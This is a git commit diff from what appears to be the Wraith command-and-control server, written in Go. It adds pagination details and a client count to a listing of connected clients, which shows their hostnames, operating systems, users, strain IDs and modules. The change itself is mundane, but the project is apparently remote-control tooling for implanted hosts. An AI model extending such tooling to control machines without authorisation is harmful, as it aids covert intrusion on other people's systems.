chore: a little more info in client list
This commit is contained in:
parent
123eea6acd
commit
4bd16d7c8e
|
@ -53,11 +53,21 @@ func CmdL(ctx lib.CommandContext, arg string) (string, error) {
|
|||
if err != nil {
|
||||
return "", fmt.Errorf("could not parse argument: %e", err)
|
||||
}
|
||||
clients, err := ctx.State.ClientGetPage(page*10, 10)
|
||||
clients, err := ctx.State.ClientGetPage(page*lib.DATA_PAGE_SIZE, lib.DATA_PAGE_SIZE)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("could not get page from database: %e", err)
|
||||
}
|
||||
clientListString := fmt.Sprintf("Client list page %d:\n", page)
|
||||
clientsTotalCount, err := ctx.State.ClientCount()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("could not get client total count from database: %e", err)
|
||||
}
|
||||
clientListString := fmt.Sprintf(
|
||||
"Client list page %d of %d (%d total client/s; %d per page):\n",
|
||||
page,
|
||||
clientsTotalCount/lib.DATA_PAGE_SIZE,
|
||||
clientsTotalCount,
|
||||
lib.DATA_PAGE_SIZE,
|
||||
)
|
||||
clientListString += "\n| Client ID | Strain ID | Init Time | Hostname | Host OS | Host Arch | HostUser | Host User ID | Modules | Errors |"
|
||||
clientListString += "\n| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |"
|
||||
for _, client := range clients {
|
||||
|
|
|
@ -14,7 +14,7 @@ const (
|
|||
STATE_CLIENT_EXPIRY_DELAY = proto.HEARTBEAT_MARK_DEAD_DELAY
|
||||
STATE_REQUEST_EXPIRY_DELAY = 10 * time.Minute
|
||||
|
||||
MAX_DATA_PAGE_SIZE = 200
|
||||
DATA_PAGE_SIZE = 10
|
||||
)
|
||||
|
||||
type Config struct {
|
||||
|
|
|
@ -73,6 +73,12 @@ func (s *state) ClientGetPage(offset, limit int) ([]client, error) {
|
|||
return clients, result.Error
|
||||
}
|
||||
|
||||
func (s *state) ClientCount() (int64, error) {
|
||||
var count int64
|
||||
result := s.db.Model(&client{}).Count(&count)
|
||||
return count, result.Error
|
||||
}
|
||||
|
||||
// Save/update a Wraith client entry.
|
||||
func (s *state) Heartbeat(src string, hb proto.PacketHeartbeat) {
|
||||
s.ClientAppend(&client{
|
||||
|
|
Loading…
Reference in New Issue
Block a user